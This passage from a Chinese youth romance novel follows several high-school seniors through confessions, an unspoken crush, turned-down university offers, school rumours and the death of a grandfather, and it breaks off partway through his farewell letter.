虞眠开口,却没发声,一时怔在了原地。约莫过了半刻,她才找回了自己的声音,“你……什么意思?”
“从那天得知你要考南阳大学开始,我才意识到,离别或许真的要来临了。可我……却有点慌,你肯定觉得我大大咧咧,没心没肺的,怎么还会慌?”
江枫低头笑了下,“我慌呀,虞眠。因为我意识到,对于喜欢这件事情,我好像开窍了。不知道从什么时候开始,你伤心难过,你开心快乐,每一帧都触动在了我心上。可惜,我一直没勇气告诉你。”
“我喜欢你虞眠,真的真的真的很喜欢。”
“你——”虞眠开口,却被突然打断。
“等下,你等我说完,否则刚鼓起的勇气就要下去了。”江枫一把握住虞眠胳膊。
“我们的位置会随成绩变化发生变动,但我们却一直是同桌,你有没有奇怪过?”
虞眠轻轻点了点头。
江枫唇角勾起一个小幅度,“我在方姐那里立下了军令状。我说你可以帮助我成绩慢慢提高,她才没有给我们两人换位置。”
虞眠恍然,记不清是从第几次换位开始,江枫的成绩的确是在慢慢提高。如今,已经到达了班级中游的位置。
他的确是一直在悄悄努力。
“虞眠,南大于我而言也是一个不错的选择。所以,你不要有心理负担,无论你是同意还是拒绝我,我都可以接受。”
“现阶段的学习很重要,我知道你高中不会谈恋爱,我也是。高考距离现在还有九个多月的时间,我的意思是,你还有很长的时间可以考虑,考虑要不要试着接受我。”
江枫说完,低头闭上了眼睛,静静等待着虞眠的抉择。
周围静默下来,只余风声在耳边吹过。
“今天明明不同路,为什么送我?”
“你不喜欢自己一个人走夜路啊。”江枫没犹豫,睁开眼说道。
话落,他便对上了身前人的目光,愣在了原地。
虞眠眼角眉梢缀着清浅笑意,“的确要给我一些时间考虑,时间或许长达十个月。不过,如果你可以努努力考上南大,那我也不是不可以缩减一下时长。”
她转身推着车子继续朝前走去,后面江枫稍怔了下,随即就明白过来了虞眠的意思。他突然扬唇笑了起来,步伐轻快地跟上前。
湖畔送来阵阵晚风,最后一抹风中夹杂着少年明媚的声音,一如既往的多话。
“同桌,你放心。别看我平时贪玩,遇到正事还是很认真的。”
“我会努力的,努力考上南大!”
“知道了。”
30. chapter30
“多年后看到这条讨论,我的第一反应还是他。那是极美的一双眼睛,我曾从他的眼睛里看见两株迷狂的小树。有清风,有笑意,有黄金。”
——《我与y》
平日里,由于和其他人不同路,温窈收拾好书包就会先行离开。明明才九月份,北淮还留有八月份的余热,但她似乎已经窥见了初秋的气息。
秋天是个复杂的季节,七分荒凉中又夹杂了三分无法言说的柔软。校园里,大路边,常常落满了枫树叶,大小不一,一层层地铺向柏油路面。
温窈喜欢听自行车轮碾过枫树叶的声音。当车轮缓缓碾过轻薄树叶,就会发出“轻柔”的沙沙声。
与先前不同的是,身旁少了一个人,她总感觉空落落的。
陈翊南并不是没和她解释过,两人的聊天记录停留在一周前,那个女生刚来不久的日子。他同她简单解释了下,并询问了她的意见。
温窈收到信息时心乱如麻,完全没察觉到陈翊南询问她意见这件事的怪异,满屏下来只剩下三个字:嗯嗯好。
她犹豫半晌,最终没有选择再和陈翊南一起结伴回家,就连问问那个女生是不是他的青梅竹马都没问出口。
秋高气爽,天黑的越来越早。
温窈像往常一样,从车棚推出车,朝着校门口骑去。出门左拐是通向她家的方向,刚骑出大门,她就一时怔愣在了原地。
左边不远处的一盏路灯下,有个女生撑着自行车等在路边,目光直直望向这边。
是她。
她应该是在等陈翊南,温窈想。
想到这,她的神色黯淡了几分,正准备推车离开,便有声音从身后传来。
“温窈?”
清凌凌的声音,无端令她心悸。不用回头,她就知道是他。
“陈翊南!”
等在路边的女生看见陈翊南出来,眼神瞬间变得明亮,她朝他挥了挥手,推着车慢慢走过来。
“这是……”
陈翊南开口:“我朋友,温窈。”
“你好!”女生举起手打了个招呼,“我是苏文婷。”
温窈淡淡笑了下,“你好。”
她语气顿了下,接着说:“那个……我妈还嘱咐我帮她去买东西,我就先走了,拜拜。”
话音刚落,她便蹬着车子骑走了,身后苏文婷的声音顺着晚风断断续续传来。
“陈翊南,你上周六给我讲的最后一种数学题型,我好像还不是很懂。今晚……你能不能再给我讲一下……”
后面的话,温窈没有听到,她已经骑远了。迎面吹来的初秋晚风是暖的,风拂过脸颊,有湿漉漉的水珠流下。
她用手背碰了一下自己的脸颊,才恍然发觉是眼泪在断断续续流下。
“陈翊南?”
苏文婷说了半天,才发觉身旁人似乎没听进去,她喊了两三声。
“嗯。”
陈翊南回神,低低应了声。
“你在想什么?”
他在想温窈看起来心情不是很好,走的也很急,像是身后有人追她似的。
陈翊南没有说出来心中所想,他一抬腿跨上山地车,将黑色双肩包重新掂了下,这才看向苏文婷。
“没什么。”
“那个题,今天……”
陈翊南随口道:“今晚不行,等这周六吧,在我辅导你的时间内给你再讲一遍。”
接着,他微微弓起背,脚踩踏板用力一蹬,晚风扬起他的碎发,敞开怀的校服衣摆随风蹁跹,清瘦挺拔的身影在路灯下一闪而过。
苏文婷的目光在温窈刚刚离去的路上停留一瞬,很快她便骑车追了上去。
_
如果非要说起高三的一点好处,或许就是你可能常常因为繁杂的学习课程,没有其他精力去想其他事情。
生活变得更纯粹了些,每天就是学校与家,两点一线。各科老师常挂在嘴边的口头禅也变成了:这都高三了,一个个的还不知道紧张起来吗?!
方媛和老罗作为文理科尖子生的领班人,也来教室逛的勤了些。
自那天偶遇过后,温窈的生活似乎又忙碌了起来,各种大小考试接踵而来。只有在傍晚临睡前才得以放松,以至于许久过后她才突然意识到自己好久没有想过陈翊南的事情了。
两人的班级明明在一条走廊,除了她可刻意偶遇,平时竟也没怎么碰到过。
12月份月考过后,温窈的成绩一直稳定在了前两名,和郑一桐换着坐第一的位置。
“这阵子好像……没怎么见过南哥欸。”林见月揉着发晕的太阳穴缓缓开口。
江枫知晓陈翊南近况,此时开口解释着:“他外公的身体这几天好像不太好,前几天还进了一次急诊。再加上他最近正在将申请资料递交出去,就更忙了。”
温窈写试题的手一顿,回眸望来。
林见月神色担忧道:“南哥外公身体没事了吧?”
“已经出院回家了。”
“什么病呀?”
江枫叹了口气:“老毛病了,心脏病,一直在吃药。”
“那……陈翊南最近还好吗?”温窈犹豫问道。
“放心吧,没事。”
大课间时间,方媛没来门口溜达,四人从月考试题聊到了校园八卦。
林见月笑道:“和你们说个好玩的,我前几天扒拉咱们学校的墙墙,看到有人发了一张图片捞人。你们猜那个图片是什么?”
“一个女生背影?”
林见月摇头。
“那是偷拍的正面照?”
林见月又摇摇头。
见没人猜到,她噗嗤一笑:“想不到吧,是咱们学校餐厅的某个椅子。他说墙墙捞一下,中午吃饭时坐过这个椅子的女生,很可爱想认识哈哈哈。”
江枫:“……林见月,你的笑点好低。”
林见月的笑凝固在嘴角,抄起手旁的书就敲了他一下。
江枫一面抱头,一边嘴里不停:“我靠,林见月你什么时候改改你这暴脾气!”
“改?不可能的!”
最后江枫认输,说要给林见月再讲个好玩的,这场敲打才平息下来。
“我那天去陈翊南那串门,倚在沙发上刷贴吧玩。有个帖子热度还挺高的,照片里一男一女骑车停在路边,男生是个背影,正将手里的袋子递给女生。”
“光背影能看出什么?”林见月奇道。
“你别说,就这个背影再加上他身上穿的一中校服,下面盖的楼里就有人推测是陈翊南。我当时就笑了,心想怎么可能,陈翊南怎么会和
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其他女生在一起,我直接就把手机拿给他看。结果,陈翊南凑过头来看了眼,悠悠说了句。”
江枫模仿陈翊南凉飕飕的语气说道:“这就是我。”
他一指林见月的眼睛,笑了:“我当时的眼睛就和你现在睁的一样大。”
温窈手中的笔虽然还在抄写,但心思已然飘到了两人的谈论的话题之中。虞眠也直接不学了,支起胳膊听着这边。
“这这这……那个女生和南哥是什么关系?”林见月问出她心中所想。
“嗐,就是他那个青梅竹马,好像是叫——”江枫的话卡在半截,他挠挠头,有些记不清。
“苏文婷。”温窈说道。
虞眠状若无意地看了温窈一眼。
“对对,是她。我当时问他,你们两人是不是……”
挠是江枫没说出来,林见月也明白了,她眼神示意他接着说。
“陈翊南当然是否认了。不过,我才不信,因为——”江枫故意拉长声音,“后面我同他说起校内流传起来的他和苏文婷的八卦时,我敏锐地捕捉到了他轻皱起的眉头。”
“没影的事,怎么瞎传。”
林见月转过身,胳膊撑在江枫桌子上问:“南哥当时说了这么一句话?”
江枫点头。
“哇,南哥这不就是妥妥地在维护苏文婷嘛!”
江枫又点了两下头,表示认可:“我也这么认为。”
温窈心底咯噔一声,手中的笔一个没拿稳滚落到了地上。她连忙弯腰去捡,手指抓了两下才抓住,抬头起身时头顶却又磕到了桌板。
痛意传向四肢,她没忍住鼻子一酸,红了眼眶。
在这一刻,温窈突然明白。
原来,不是所有的暗恋都可以窥见天光。
_
距离高考报名的时间越来越近,北淮一中的保送名额也在一次统考过后下来了,总共有六个。
那天下午,温窈被方媛叫去办公室,碰巧与陈翊南前后脚进去。
站在方媛办公桌前,她的注意力却分了一半在老罗那里。两人都在看保送大学名单,名额虽然看起来多,但像京大这样的国内顶尖学校,属于一中的保送名额寥寥,不过两个,所衔接的专业自然也有限制。
老罗问:“怎么样,想好了吗?”
陈翊南没有犹豫,“想好了,把我的保送名额让给其他人吧。”
“你确定?”老罗面色严肃。
“我确定。”
老罗泄下气来,朝陈翊南挥挥手,让他离开了。
同样的话,方媛也问了一遍温窈。
从高一到现在走了这么长的路,自己今后的目标也变得愈发清晰。拒绝的话再说出口,她的底气十足。
“说说吧,什么理由?老师个人认为,这个京大的保送名额很珍贵。毕竟以你现在成绩,上京大这件事还不能做到十足把握。”方媛说道。
“老师,京大保送名额衔接的专业不适合我,我会自己努力考上京大的。”
许是温窈的语气坚定无比,再加上她这半学期的出色表现,半晌后,方媛点了下头,“行,不过这件事情你还是需要回去告诉父母一下。”
两人都离开办公室后,方媛嘟囔了句:“奇了,今年这保送名额这么不值钱吗?”
31. chapter31
“四季如夏的地方,我并不羡慕。或许因为,那里没有你。”
——《我与y》
最后一年寒假,留给高三生的休息时间并不多,年前年后加起来的时间不超过十天,在这期间温窈几人没能抽出时间来聚会。除夕夜那晚,群里热闹过一阵子,大家互相祝福了新年快乐。
那个时候,很多人发送的都是复制粘贴版的新年祝福。温窈最喜欢的是《南方周末》的新年贺词:我们比任何时候都更接近梦想。
她将这句贺词写在了星星纸上,塞进了星星瓶,最后的落款是送给陈翊南。她希望这一年,她与他都可以如愿以偿。
进入三月份后,陈翊南陆陆续续接到了申请过的几所国外医学院的offer。在此之前,一中的保送人员名单也公示了出来。
看到温窈站在公告栏前,郑一桐从不远处走了过来,“温窈,谢谢你。”
“嗯?”温窈侧目,心下有些疑惑,“谢我做什么。”
“嗯……我从老班那里都知道了,你没有选择京大的保送名额,这才轮到了我身上。”郑一桐顿了下,“否则,我也不一定能……”
温窈笑了下:“没事的,我只是想去选择一个自己喜欢的专业。能拿到这个名额,是因为你本身就很优秀呐。”
郑一桐眸光微动。
“温窈,谢……”
“好啦,以后少了和你竞争第一的机会,我还有些遗憾呢。”温窈搂着郑一桐的胳膊朝教室走去。
郑一桐真的作势思考了起来,认真道:“那我可以再陪你考几次。”
温窈被她逗得一笑。
临进教室前,她重新回头看了眼公告栏的方向。郑一桐大概以为自己刚才在看公告栏上的保送人员名单,实则不然。
她看的,是光荣榜。
距离竞赛结束,已经将近一年时间。一年时间,说短也短,说长也长。她和陈翊南的照片还被放置在公告栏里,两人离得很近,上下靠着。和现在比,他的头发长了些,个子也更高了。
此时此刻的云在头顶蓝天飘动,温窈闭上眼睛,她将手从口袋抽了出来,感受着四周空气流动。
恍一睁眼,安静中响起一阵笑闹,转头就看到陈翊南和江枫在廊道尽头走来。
一直到很多年后,温窈都记得这天。
蓝天,白墙,玻璃窗,唇角噙笑的少年。
惊鸿一瞥,确实让人惊艳。
阵阵春风袭来,温窈发丝浮动,一声声呢喃随着风声消散,昭示着一场无声告白的落幕。
“陈翊南,我喜欢你。”
“你喜欢我吗?”
_
温窈进班里时,林见月正和周围聊的火热。她本来就不是一个安静的性子,和班里很多人都玩得来。不让她自习课说话就算了,课间那是必须说上一两句的。
虞眠看出温窈的疑惑,她戳了戳温窈后背,正想和她解释,林见月就转头了。
“欸、窈儿,你回来的正好。我们正在讨论这高中三年还有什么遗憾的事情未能实现,你说说你呢,或许我们可以帮你实现呢!”
林见月问的突然,温窈一时间怔愣住了。
高中的遗憾……
过道旁边,张淼拍拍林见月胳膊,“哎呀,温窈回来那么晚,她都不知道咱们刚才说过什么。”
林见月觉得有道理,指着张淼接着说道:“三水她很想去追追操场五六点钟的夕阳,听说从操场看夕阳可是一中的三大美景之一。”
“我有一个小小的遗憾,也不能说是遗憾。我有一个小小的愿望,希望我的十八岁成人礼可以和我的好朋友们在一起度过。”
“恬恬的遗憾是暗恋隔壁班一个男生两年了,但一直没有勇气告诉他。”说到这,林见月颇有些恨铁不成钢地敲了敲楚晓恬的脑瓜。
楚晓恬捂着头,挣扎道:“你再敲我,我也不敢去嘛。”
林见月摇摇头,最后说道:“虞眠嘛,她说她没什么遗憾了。但我觉得不可能,人怎么会没有遗憾呢?你说是吧,窈儿?”
温窈思绪万千,林见月叫了她两声才回过神,她下意识点了点头。
林见月立时朝虞眠望去,“你看,我就说吧。”
虞眠妥协:“那我说一个。如果学校广播站可以在休息时间放一首我最喜欢的《晴天》,那我高中真的是没什么遗憾了。”
“这有什么难的。”江枫笑着坐下了。
林见月揶揄了一两句,随即重新将问题抛给了温窈。
看着窗外一片绿意盎然,温窈忽然想起了拾华书店所在的那条小巷,路两边的几株迎春花应该开了,它的花往往开的最早。
去年的这个时候她还和陈翊南一起走过,一丛丛的小金叶,远远看去就像是一群蝴蝶在舞动,纯洁又灵动。可惜今年,只怕是黄色花瓣飘落在地,无人可赏。
所以,林见月问的,遗憾是什么呢?
大概是,她的遗憾都与他有关。
_
伴随着一模结束,百日誓师来的悄无声息。
只是在一个寻常的上午,方媛突然通知大家去操场集合。大家排好队朝操场走去,伴随着距离缩短,广播里传出的振奋音乐声愈发清晰。
事情这才变得有些不同寻常。
直到众人踏进操场的那刻看见高高挂起的红色条幅,大家才猛地意识到,要百日誓师了啊。
平时空旷的场地里站满了人,从高空看去,黑压压的一片。各个班级依次用最响亮的声音喊了自己班级的标语,洪亮的声音似潮水般滔滔不绝,席卷整个操场。
这几日积压在大家心口的压力,都尽数呐喊释放了出来,有些比较感性的人甚至流下了眼泪。
校长在台上讲话,铿锵有力的音乐作为他的背景,许是音乐作用,他的腔调也变得慷慨激昂起来。
致辞过后,他说道:“下面有请高三学生代表上台发言并带领大家宣誓。”
温窈心下一动,目光直直望向台上。似乎是心有灵犀般,她见到陈翊南走到了台上。
林见月在她身后悄声笑道:“芜湖~是南哥欸。”
温窈轻轻笑了。
少年墨绿色的校服外衣随风舞动,一如三年前作为新生代表发言时一样,自在又张扬。
他调了调话筒,咳了一声,开始说道:“亲爱的老师同学们,大家上午好。我是高三理科一班的陈翊南。时间有限,我长话短说。”
陈翊南笑了下,随即将手中的白纸一折,“这网上搜来的稿子,我实在是背不过,不如直接发挥。”
林见月轻啧一声:“还得是南哥啊。”
温窈点头,这的确很陈翊南。
“俗话说:‘行百里者半九十’,能笑到最后的才是真正的赢家。此时距高考还有一百天的时间,或者说已经不足一百天…………”
春日暖阳,日头不算足,温窈静静看着台上的人
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,心中却在期待时间可以过得慢一些,再慢一些。
三分钟时间转瞬即逝。
陈翊南目光扫向台下众人,语气也变得郑重起来,不急不缓地说出了最后的结束语。
“同学们,‘须知少日擎云志,曾许人间第一流。’。那便预祝各位,可以上青天,揽明月,自在摇曳,生生不息。”
自在摇曳,生生不息。
温窈在心中默念了两遍。
明媚春光下,她微笑着重新抬起头,望向他正在退场的背影,于心中开口:
亲爱的少年,那我祝你,春去秋来,寒来暑往,所求所愿,皆有回响。
此时此刻,她的心底忽然有种念头升腾而起。
她想大步奔向他,然后拥春风入怀。
_
明天和意外总是不知道哪个会先来临。
百日誓师的那个下午,临近放学的时候,林见月拉着三人翘了一会儿自习课。不同于往常的是,这三人里多了个张淼。
“趁着一模成绩没出来,我还有命活,先来带你们弥补一下遗憾。”林见月托腮看着太阳落山的方向,感慨道:“三水,操场这里的夕阳真的好美啊。”
身旁传来抽泣声,林见月看到张淼的头一下子倚在了自己肩膀上,“虽然……好害怕,但是……好美啊呜呜。”
温窈三人对视一眼,齐齐笑了。
“我又想起来那天,江枫去广播室改了《运动员进行曲》放《晴天》的英勇事迹了,最后还是被方姐揪着耳朵回来的。”林见月突然说道。
张淼破涕为笑:“这么一看,我们似乎彼此彼此。”
虞眠也笑了,她的目光无意识瞥向身旁,注意到了正眯着眼睛发呆的温窈。她用胳膊轻轻撞了下,低声开口:“想什么呢?”
温窈唔了声,说道:“夕阳太好看了。”
“能有他好看?”
虞眠语出惊人,惊的温窈差点从椅子上滑下来。
她睁大眼睛看着温窈,睫毛忽闪两下,一时失言。
“你……嗯……什么他啊?”温窈假装没听懂。
“温窈,”虞眠微笑着凑到她耳边,轻声说道:“喜欢一个人的目光的藏不住的。你瞒得过林见月和江枫,可瞒不住我。你喜欢陈翊南,我知道的。”
最后一句话,一锤定音。
“你是……什么时候知道的?我以为自己隐藏的挺好。”
虞眠沉思片刻:“大概从陈翊南生日那次,我就看出了一点苗头。”
“那次说不出口的遗憾,也是因为他吧?”
温窈搓搓手指,从震惊状态中恢复平静,“万事都逃不过虞小诸葛的眼睛呀。嗯,的确是。”
“那……你有没有想过弥补一下遗憾?”
温窈愣了下。
虞眠接着说出口的话,让她刚平复下的心跳又开始加快了。
“我感觉,陈翊南或许对你也有意思呢。”
“不可能,他说过自己高中不谈恋爱的。”
虞眠屈指敲了敲她的头,“你傻呀,没让你们高中谈,但大学可以啊。没关系,说不说这件事还是要取决于你。我只是作为旁观者,说了下自己眼中所见。”
温窈有一瞬间失神。
她有想过的。或者说,其实她也特别想去问问。在青春这条看似既定的轨道上,还是应该留下一些属于自己的东西。
比如:让遗憾不再成为遗憾的勇气。
32. chapter32
“悄悄告诉你一个秘密,教学楼顶楼杂货间的窗台上有你的名字,我写的。可惜,今后你不会再知道了。”
——《我与y》
眼看着黑板上的倒计时天数变得越来越小,满桌的试卷,堆叠的书本,教室常常被巨大无形的压力充斥。于是,方媛对大家的鼓励话语也变得越来越多。
下午五六点钟的时刻,从教室的玻璃窗向外望去,总能看到大片的火烧云绵延至天边。
高三的晚霞似乎总是美的惊心动魄,也只有在这时才能让大家齐齐驻笔。红的、紫的、蓝的、橙的,糅合在一起,像极了大家即将奔赴的远大前程。
多年后回想起来,温窈觉得高三这段时日疲惫又平凡,难熬是难熬了些,但还好有朋友的陪伴。
还有,同样与她一样在共同努力的他。
尽管不在一个地方,但温窈和周澄一直保持着断断续续的联系。进入高三下半学期,两人的联系更密切了些,原因是周澄每逢做试卷做的崩溃都会来温窈这里唠嗑。
她不抱怨平日里学习负担有多重,只是纯粹家长里短,不把负面情绪也传染给温窈。还是后来温窈察觉出异常,再三追问之下,她才道出了原因。
某天课间时,温窈手机震动了两下。这个时间点,估摸着是周澄。
果不其然,屏幕一亮,她就看到了信息内容。
周澄:阿窈,我突然想起来,还没问过你想考哪所大学?
温y:京大。
周澄:!有志气!姐们看好你!
温窈笑了下,发了个扶额笑的黄脸表情包。
周澄:我努努力,争取也可以考去京北,这样我们就又可以在一起啦!
温窈发了个嗯嗯,在后面加了三个感叹号以表强烈赞同。
没一会儿,林见月就从办公室问完题回来了。她刚坐下,就立时转头,“江枫,南哥是有什么急事吗?我刚才在办公室看见他和老罗申请了假条,一拿到手就连忙跑了出去,连我和他打招呼,他都没注意到。”
“啊?”江枫先是一愣,随即挠了挠头,“不知道啊,他没和我说。”
“好吧。”林见月悻悻回头。
温窈自从听到陈翊南三字开始,就在认真听着,她习惯于从别人那里得知他的消息。此刻即便话题已经结束,她也控制不住地多想。
再三犹豫下,她掏出手机打开了两人的聊天界面,发送了一条信息。
温y:刚才林见月看见你请假了,是家里出什么事了吗?
一秒……五秒……十秒……
两分钟过去了,都没等来对面回应。
应该是在忙,没来得及看手机吧,温窈心中猜测着。
这一等,就等到了黄昏时刻。直到晚自习结束,温窈都没等到陈翊南的消息。
她像往常一样自己骑车回家,走最近的一条路线通常会经过景怡园。景怡园的围墙柱灯很有特色,是一种加入了阶梯型元素的方形灯,隔老远就能一眼分辨出来。
温窈骑着车子在景怡园门口一闪而过,没一会儿,她又退了回来。大门口旁边的便利店内,靠窗位置正坐着一个人。
陈翊南借用便利店插座给手机充电,刚一打开,就弹出了一条条信息。
最上面的一条是某个软件的推送广告,下面是来自江枫和温窈的两条q|q消息,他先点开和温窈的聊天框回复了她的消息。
便利店外,温窈正停在路边,隔着几米远的距离,她看到了陈翊南敲击手机的动作,而她口袋里的手机也刚好振动了一下。
Cyn:没事,今天身体不太舒服,和老罗请了假回来休息,不用担心。
身体不舒服?
温窈支住腿从车子上下来,准备去看看情况。
此时,景怡园的侧门处传来“啪嗒”一声轻响,铁栏门被人推开,苏文婷走了出来,径直向便利店走去。
不知道是不是她的错觉,在便利店门关闭的瞬间,苏文婷似乎朝自己这边看了一眼。
温窈胳膊静静垂下,手机还被她握在手里。透过便利店的玻璃落地窗,她能看到室内的一切。
苏文婷拿了两瓶饮料,在陈翊南的身旁坐下,她将易拉罐装的可乐推了过去。
“他叫你来的?”
陈翊南放下手机,眉眼淡淡的看不出什么情绪。
苏文婷摇摇头:“没有,是我正想敲门时,听到了你们屋内传来的争吵声。”
陈翊南没说什么,便利店内安静的只剩下空调发出的沉闷制冷声响。
苏文婷状若无意地看向窗外,发现温窈还在那里站着。她眼神微动,静谧中蓦地开口:“陈翊南,你别动,这里沾了个东西。”
没等陈翊南反应过来,苏文婷的身体前倾,朝他后背伸手而去,一触即分。
温窈站在路边一览无余,很巧的是,苏文婷身体前倾的角度,在她的眼睛里看到的却是苏文婷轻轻吻了陈翊南的脸颊,蜻蜓点水一般。
她一时不敢相信,直直地呆滞了一分钟。回过神来才感觉到心脏处的难受,像是被细棉线缠了一圈又一圈。
疼……断断续续的疼……
温窈眼眶酸胀,她紧抿住唇,转身头也不回的离开了。
苏文婷唇角勾起一抹笑意,陈翊南的声音从身旁传来:“什么东西?”
“啊、没什么,就一个虫子。”
“你刚才在看什么?”
陈翊南有感觉到她的眼神多次向外面瞟去。
苏文婷愣了下,随即轻飘飘地说道:“就……好像看见了一个熟人。”
熟人?
陈翊南眼底划过一抹疑惑之色。
温窈回家后径直回了卧室,连陆文慧喊她都没回应。卧室门被她“哐”的一声阖上,她倚在门板上慢慢滑落在地。
积压了一路的情绪在此刻爆发,她死死咬住唇,昏暗的卧室里传来一声声呜咽,豆大的泪珠顺着脸颊滑落,在地板上积成了一摊小水洼。
她不敢想,也不敢问。
暗恋竟会让她这样患得患失。
从头到尾,从始至终,这仿佛是一场属于她自己的独角戏,那淹没在春风中的声声呢喃,不得回响。
_
隔天,温窈顶着有些红肿的眼睛走进教室。她早晨用毛巾包裹住冰块消过肿,否则肿得情况更严重。
林见月和虞眠一看见就吓了一跳,忙追问她这是怎么
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了。温窈没说实话,随便用一个理由搪塞了过去。
两人也看出了她心情不佳,没再多追问。只是一个默默给她塞软糖,一个默默给她塞水果硬糖,弄得温窈哭笑不得,无奈之余心下也很感动。
但老天爷仿佛要和她作对一般,平静下来的日子没过几天。贴吧里,学校里,一条消息不胫而走。
舆论的中心都在讨论两个人——陈翊南和苏文婷。
一条帖子热度高高挂起,标题是:惊!疑似一中校草与北附校花“喜结连理”!
本来一开始没有多少人信,贴主便在下面有张贴了几张两人的同行照片,参与帖子下面盖楼的还有女方的好朋友,再加上女方好朋友的亲口之言。
这条谣言传来传去,竟有□□成真话的意思。学校里的谣言往往传播最快,一来二去,也传到了文科班里。
林见月托腮嘟囔了句:“咦,没记错的话,苏文婷不是南哥那个青梅竹马吗?”
“是啊,”江枫脸上扬起意味深长的笑容:“陈翊南这小子出手这么快?啧,要不是他最近请假了,我现在指定把他揪过来问问。”
林见月一脸八卦,“那个女生怎么样?”
“我没和她打过几次照面,不过倒是挺漂亮的。”
说到这里,林见月撇撇嘴,不乐意了,“漂亮?能比我们家阿窈漂亮?!”
江枫愣了下,连忙解释:“温窈也漂亮的,两人不是一种漂亮。温窈是一种清秀的美,苏文婷是有一种明艳的美。”
“算你识相。”
虞眠抬眸看了眼前面的人,自始至终她都没抬起过头。而温窈的手看似在动,实则已经不知道自己的笔在写什么了,脑子是一片麻木的,题是做错了好几道的。
两人多谈一句这个话题都是对她的折磨,也幸好,江枫又扯起了别的事情。
“你们听说没,等再过几天就是成人礼了。”
“成人礼!”林见月眼睛放光,“那岂不是……”
“嗯,对。下午有半天假期。”江枫补充道。
半天假期……
温窈突然意识到,按照一中往年的传统,下午上完第一节课后会把大家召集在操场一起穿过成人门,还会有师长寄语和宣誓等环节。于是,成人礼那天便成了高三生高考前最后清闲的一日。
有一个念头在她心底悄悄冒出。
有些事情,或许是时候做个了结了。
_
五月的一天,成人礼的红色充气门已经在操场上撑了起来。
下了第一节课,大家排队去了操场。等举行完各个环节,便是自由活动了。
温窈趁大家去操场的功夫,借口肚子疼偷溜回了教室。她从书桌里拿出了准备好的一封信,外封是牛皮纸样式的,写着“陈翊南收”。
她揣着它路过理科一班,用余光打量了一下教室。确定教室没人后,她走到窗户边陈翊南的桌子旁,一伸手将信封放了进去。
等一路小跑到操场,温窈才松了一口气。
信件内容并非表白,她约了个地方想同他见一面,落款也标明了自己的名字。
陈翊南他……应该会来的吧?
温窈慢慢想。
33. chapter33
“原来,相逢已是上上签。”
——《我与y》
夜里九点钟,朱红色大门被打开,温窈湿漉漉地走了进来。尽管打了雨伞,但到了后面雨越下越大,再被风一吹,她打着的雨伞便倾斜几分,雨丝尽数刮了进来。
雨水混着泪水,不仔细看,倒也看不出温窈哭过。
“回来了?”陆文慧在看电视,茶几前的地毯上赵景旭正趴着在画画。
“嗯。”
温窈低低应了声。
她走进屋将书包放下,刚被关上的卧室门又被她猛地推开。
陆文慧看见温窈走到赵景旭身前一把将底下的书抽出,赵景旭呆滞两秒,随即便哭闹了起来,“妈妈,姐姐抢我的画本!”
“好端端的,你这是做什么?”
紫色书封下的第一页,已经被胡乱涂画的看不出文字。烫金色字体《莎士比亚十四行诗》,在此刻刺痛着她的眼睛,积压了许久的情绪将她的坚强和理智吞噬殆尽。
她崩溃质问:“凭什么让他进我的卧室!还随便拿我的书乱涂乱画!”
赵景旭站在一边,吓得哭出了声,哭得陆文慧更加心烦意乱,她说道:“哎你冲我大喊什么?!不就是一本书嘛,他是你弟弟,又不是故意的,你凶他干什么?这书我再给你买一本新的不就是了!”
温窈将书紧紧抱在怀里,擦了把脸颊上的泪珠,“那不一样!”
说完,便转身回了屋。接着,卧室门被“砰”的一声阖上。
“你——你——”平时对自己温声细语的人忽地换了副模样,陆文慧直直指着温窈的卧室门,怒道:“真是反了天了!”
温窈将书平铺在书桌上,用纸巾细细擦着,擦着擦着,她的胳膊就垫着额头趴在了桌子上,肩膀不停地抖动,一滴滴泪落在了白色纸页,然后蔓延开。
许久之后,雨骤歇,月放晴。
书桌前的人缓缓抬起头,眼泪流过的地方形成了一道道泪痕,扯的脸颊微微发痛。
她将诗集合好,重新放进了抽屉。放在校服口袋里的手机被她拿了出来,合集名为《我与y》的空间动态里又多了一句话:
我讨厌下雨天。
_
人民医院内,抢救室的红色灯牌还亮着。
门外等着许多人。陈翊南起身走到徐慧安身旁,暗哑的嗓音暴露了他的疲惫。
“外婆,您坐会吧。这都站了一个多小时了。”
徐慧安双眼发红,一看就是刚才哭过,她摇摇头,回:“不行,我得看着他出来,我才能心安呐。”
病危通知书刚签完没多久,陈翊南连笔都差点握不住。他站在旁边扶着徐慧安沉默不言,紧皱的眉头也暴露了他此刻内心的慌张。
从小到大,父母工作忙碌,是外公外婆看着他长大的。外公最是慈祥,小时候他玩闹,外婆追着他打,都是外公笑着护他。外公是一名人民老教师,空闲时间还会教导他的学业。他的一手好字,便是在跟外公身边练出来的。
可以说,除了母亲,外公外婆便是他最亲近的人。
夜渐深了,红色灯牌骤然熄灭,从抢救室里走出两个穿着白大褂的医生。
徐慧安连忙走上前,焦急问道:“医生,怎么样了?”
两名医生对视一眼,其中一名医生摘下了口罩,斟酌着开口:“病人是突发心梗,我们已经尽力抢救,但很遗憾,病人于九点五十五分去世。”
两人微弯了下腰,“节哀顺变。”
乍听见这消息,徐慧安猛地向后踉跄一步,一个没站稳朝后倒去。陈翊南眼疾手快,上前扶住了她。
徐慧安哭着摇头:“不可能,不可能,慈生他不可能走的……他只是睡着了。南南,你说是不是?你告诉外婆,你的外公只是睡着了,对不对?”
她的手死死抓着陈翊南的胳膊摇晃,他半蹲着扶住徐慧安,眼底已然泛起红意,内心像针扎一样痛苦。
“南南,扶着你外婆先去休息,这里有我处理。”陈绍在旁边说道。
陈翊南先一步带着徐慧安回了明月湾,外婆岁数大了,经了今天这一遭,身子骨早就支撑不住了。刚才又哭了那么久,现下已经筋疲力尽,一沾上床就睡着了。
他将客厅的灯光全部熄灭,转身走进了卧室。东面墙上还挂着宋慈生亲手写下的一幅字:天道酬勤。
看着这幅字,他忽地想起些什么。陈翊南走出卧室进了书房,他拉开红色枣木书桌前的抽屉,里面静静放着一封信。
前几日,他来看外公时,偶然碰见他急匆匆地将什么东西放进了抽屉,当时他未起疑,便没多问。
此刻,他看着这封信,心下却有些不敢打开。仿佛打开了,就证明外公去世已成为了一个既定的事实。
夜凉如水,他在书房里站了许久,才慢慢伸手打开了信封。
【南南,聪明如你。想必你看到写封信时,我就已经不在了。
我的身体状况只有我最清楚,时至今日,我老头子也没什么放不下的事情。唯独两人最是不舍,一是你外婆慧安,二就是你了。南南,往后的日子就要你替我多多照顾你外婆了,人的命数天定,劝她不要太过伤怀,日子还是要好好过下去。
因为你母亲的事情,外公一直知道你想要学医。我记得清楚,那天你收到了国外知名医学院的offer,兴冲冲地跑过来和我说时有多开心,外公也为你开心,我家南南打小就优秀懂事,想去做的事情就一定能做成。
